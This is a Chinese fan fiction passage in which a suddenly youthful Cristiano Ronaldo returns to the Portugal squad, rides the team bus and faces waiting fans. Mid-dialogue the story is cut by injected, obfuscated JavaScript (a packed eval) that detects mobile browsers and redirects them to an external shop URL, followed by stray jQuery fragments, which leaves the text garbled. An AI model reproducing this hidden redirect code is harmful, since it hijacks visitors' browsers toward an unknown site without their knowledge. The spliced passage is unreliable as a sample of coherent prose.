克里斯蒂亚诺回到基地后的第一件事就是将卷毛梳成背头,用发胶固定,确保每一根头发都在它该在的位置。他满意的拍拍坚固的发顶,洗完手将脸凑近,对着镜子咧开个笑脸,露出牙齿。
白净的牙齿有些错落不齐,有一颗甚至藏在后面,克里斯蒂亚诺舔了一下那颗牙,打定主意在世界杯结束后就立刻把它收拾掉。
还有肌肉,他拽开衣服领口往下看,他的胸肌腹肌鲨鱼肌消失的只剩下隐隐的轮廓。
这就是变年轻的代价吗?牙齿肌肉和——克里斯扫了眼镜子里白花花的自己——和皮肤,全部一朝回到几十年前。
克里斯蒂亚诺露出了个无奈的表情,安慰的拍了拍自己平坦的胸口。好吧,并不是不能接受,牙齿不齐就整,肌肉没了再练,皮肤白了就晒,也不是什么难事。
他边嘀咕边回到床边拎起包往外走,菲利克斯正靠着门口的墙等他出来。
队里众人早就结束了训练,训后泡冷水澡降温时,克里斯蒂亚诺才从医院里回来。菲利克斯本想换完衣服和其他人一样去大巴车上等他,半路上却接到了他的电话,“若昂,我的衣服现在穿着有点大,我想穿一件你的好吗。”
菲利克斯只好折返回去,找出自己放在这里备用的一套衣服给他送去,顺便等在门外。走廊尽头的窗户透进来光亮,在他脚边拉出一道斜长的影子,菲利克斯的脑海中又浮现起队长如今的身板,没了肌肉覆盖的身体整个瘦条条的,比这几年刻意减重后还要小半圈。
门把手咔嚓一声拧动,克里斯蒂亚诺背着双肩包从房间里走出来,包带松松垮垮地挂在肩上,活像个赶着回家的高中生。
“走吧,若昂。”
菲利克斯的目光慢慢上移,落到他头上时,明显呆滞了一秒。
平心而论,队长适合任何的发型,哪怕剃了光头都好看——但是,用这张年轻漂亮的脸顶着纹丝不动的大背头,又着实有些诡异,像硬装大人的小屁孩。
他将眼睛移开,违心的夸了一句:“新发型……很适合你。”
克里斯蒂亚诺哼哼一声,下巴微微扬起,“那当然,我总是很好看。”
大巴车上给他们留好了位置,克里斯蒂亚诺一上车就接收到了注目礼。很显然,队里的小伙子们还没有新鲜够他们重返年轻的漂亮队长。
“你看,我就说队长会用很多发胶收拾头发。”维蒂尼亚小声说着,用胳膊碰了碰内维斯,内维斯很不服气的将三百欧元赌注转过去,想亲眼看看队长在曼联初期的泡面头的想法,和他的钱一样打了水漂。
国家队里有两个卷毛的若昂,一个拎着包坐到了他的身边,另一个自从他上车以来就用幽怨的眼神眼巴巴的看着他。克里斯蒂亚诺没明白这个年轻人是什么意思,轻轻挑眉想要询问,便听到突然七嘴八舌的“队长”。
队里的小伙子们似乎很喜欢他的新发型,眼睛很是不约而同的在他的脑袋上停留一会,才问起来检查的事情。
在得知身体没有问题后,他们不知道是哪根筋搭错了,突然开始瞎起哄的把“队长”换成“小队长”,叽里呱啦一通喊。
克里斯蒂亚诺靠在椅背上,好脾气的听着这几声久违的“小队长”,心里却在想我踢球的时候你们还在穿开裆裤呢,一个个真是没大没小。
“克里斯,”达洛特转过来趴在椅背上,伸手碰他满是发胶的头发,“一会要去沙滩晒太阳吗,我可以帮你抹美黑膏。”
小队长扒拉着胳膊看了一会,遗憾的叹了口气,“暂时不去了,我今天一整天都没有训练,我要先去健身房待一会。”
达洛特遗憾的啊了一声,说那好吧。
一下午的训练结束后,身体多多少少有些疲惫,大巴车里渐渐安静了下来,有人开始戴着耳机闭目养神,有人抱着手机凑一块,分享今天中午抓拍的队长。
照片的主人公并不知情,他正靠在菲利克斯的肩膀上,无聊地看着他的手机屏幕。菲利克斯正在玩合成大西瓜,手指在屏幕上轻快地滑动,橙子、猕猴桃、西红柿、大黄桃依次落下。
克里斯蒂亚诺看着看着把自己看饿了,便用鼻尖蹭了蹭菲利克斯的肩头布料,挪开脑袋靠近车窗,看车开到哪里了。
肩头的重量骤然消失,菲利克斯抬起头便见克里斯蒂亚诺在看了会窗外后拉上窗帘,低头在翻包,翻出个能量棒。
“你饿了?”
克里斯蒂亚诺撕开包装,咬了一半含在嘴里昂了一声。
菲利克斯突然意识到队长如今的身体,好像正是处于需要营养的时候,他放下手机也翻了一会包,把自己的能量棒递过去。
大巴车在酒店门口停下时,太阳还斜挂在天边。克里斯蒂亚诺撩开窗帘往外看了一眼,球迷正站在的路两边挥舞着葡萄牙国旗和手幅,红绿色色的布面在风里翻卷着,像一个个小小的海浪。
车门打开,露着大白牙准备出去的莱奥突然想到了什么,他的脚在台阶边缘顿住,收回大白牙后退一步,远离车门。
“队长,我好像想到了一个问题,你这样怎么出去?”
刚站起来的其他人纷纷停住,费尔南德斯一只脚踩在过道里,一只手还搭在座椅靠背上,他的视线从莱奥转移到克里斯蒂亚诺身上。
在被窗边球迷看见前,克里斯蒂亚诺先一步放下车帘,布料的边缘卡在窗框里,把外面的光线切成一道细窄的缝,“这是个好问题。”
他之前去中国的时候了解到一句话叫“丑媳妇也要见公婆”,克里斯蒂亚诺觉得自己现在的状况和这句话差不多。哪怕变成如今这十八九岁的模样他也要踢比赛,肯定不能一直躲着不见人,可若是突然以这副样子出现在球迷的眼中,又指不定要闹出来多大的乱子。
坐在最后面的门德斯举手提出一个办法,“要不让队长先蒙着脸跑进去?”
鲁本皱眉不解:“可队长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900702|212931||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只是变年轻了,又不是见不得人。”
“对啊,”后排有人接话,“队长后天肯定是要上场的,早晚都得在公开场合露面。 ”
克里斯蒂亚诺一想事情就爱啃手指,他悄咪咪的给车帘掀开一条缝,外面球迷正踮着脚往车门方向张望,脸上期待又期待。他看了一会儿,又把帘子拉死。
克里斯蒂亚诺接收到整车人等他拿主意的视线,那感觉就像一堆小树苗等着身旁的大树告诉他们要往哪边长芽,再往哪边扎根。克里斯蒂亚诺怀疑如果自己说不出去的话,这群小伙子中会陪他待在车上,直到球迷散去。
他放下咬着的手指,犹豫着说:“正常出去吧,我已经和主席先生聊过这件事了,如果真出了问题,他应该会解决。”
而且能出什么问题,不就是他——一个四十一岁的运动员,突然回到年轻的时候吗,有什么好大惊小怪的。
克里斯蒂亚诺深吸一口气,站了起来。菲利克斯背着包站在过道里,担心的往外面瞅了几眼。等他再回头就发现本该离开座位的队长,委屈着白净的脸蛋,抱着包又泄气的坐下了。
“要不还是按努诺说的吧,你们谁给我个外套用用?”
*
艾丽亚的手心已经湿透了。
她是诺瓦东南大学的学生,今天翘了下午的课,坐车赶到这里,只为看一眼心心念念的罗纳尔多。
大巴车出现在街道尽头,那抹红绿色调映入眼帘时,艾利亚的心脏就开始狂跳,节奏快的呼吸都在发紧。
大巴车缓缓停靠,周围呼声突然高了一个度,喊着“葡萄牙”和“罗纳尔多”,还有其他球员的名字。艾丽亚拼命的踮起脚,伸长脖子,车门打开,她看到莱奥露着大白牙从车门里冒了个头,又很快的缩了回去。
艾丽亚不明白这是做什么,周围人挥动手幅的动作也慢了,呼喊的声音却没有停下,好像想以此让心爱的球员露面。
过了几分钟,球员终于陆陆续续下来了。费尔南德斯走在最前面,然后是鲁本,达洛特,菲利克斯——每一个熟悉的脸孔从眼前走过去,艾丽亚的目光依次扫过他们,又将脚踮的更高了一点,脚尖在运动鞋里绷得发疼。她的视线越过前面球迷的肩膀和举起的手臂,往队伍的最后面看去。
然后,艾丽亚什么也听不见了。
她的大脑一片空白,仿佛看到了时间长河的错乱,上下游颠倒,磅礴的水流逆着原本轨迹流淌,冲走二十多年的岁月,将曾经卷走的青年带回岸边。
艾丽亚发出一声尖叫,声音从嗓子里压榨的挤出来,混在周围骤然炸开的惊呼声里。
“天呐,那是罗纳尔多吗?”
“怎么会,他怎么会变成这样?!”
“这太不可思议了——”
“上帝啊——”
躁动,拥挤下的高温,嗓子尖叫后的干涩,艾丽亚能感受到这一切,她的膝盖发软,几乎要昏厥。